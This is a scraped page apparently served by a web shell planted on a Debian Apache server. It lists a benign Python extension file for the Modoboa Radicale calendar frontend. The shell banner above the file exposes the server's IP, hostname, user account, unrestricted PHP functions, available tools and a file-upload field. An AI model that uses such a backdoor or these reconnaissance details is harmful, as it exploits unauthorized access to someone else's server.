| Server IP : 85.214.239.14 / Your IP : 216.73.216.210 Web Server : Apache/2.4.65 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /proc/3/cwd/srv/modoboa/env/lib/python3.5/site-packages/modoboa_radicale/ |
Upload File : |
"""Radicale management frontend."""
from django.urls import reverse_lazy
from django.utils.translation import ugettext_lazy
from modoboa.core.extensions import ModoExtension, exts_pool
from modoboa.parameters import tools as param_tools
from . import __version__
from . import forms
class Radicale(ModoExtension):
"""Radicale extension declaration."""
name = "modoboa_radicale"
label = ugettext_lazy("Radicale management")
topredirection_url = reverse_lazy("modoboa_radicale:index")
version = __version__
url = "calendars"
description = ugettext_lazy(
"Management frontend for Radicale, a simple calendar and contact "
"server."
)
def load(self):
"""Plugin loading."""
param_tools.registry.add(
"global", forms.ParametersForm, "Radicale")
exts_pool.register_extension(Radicale)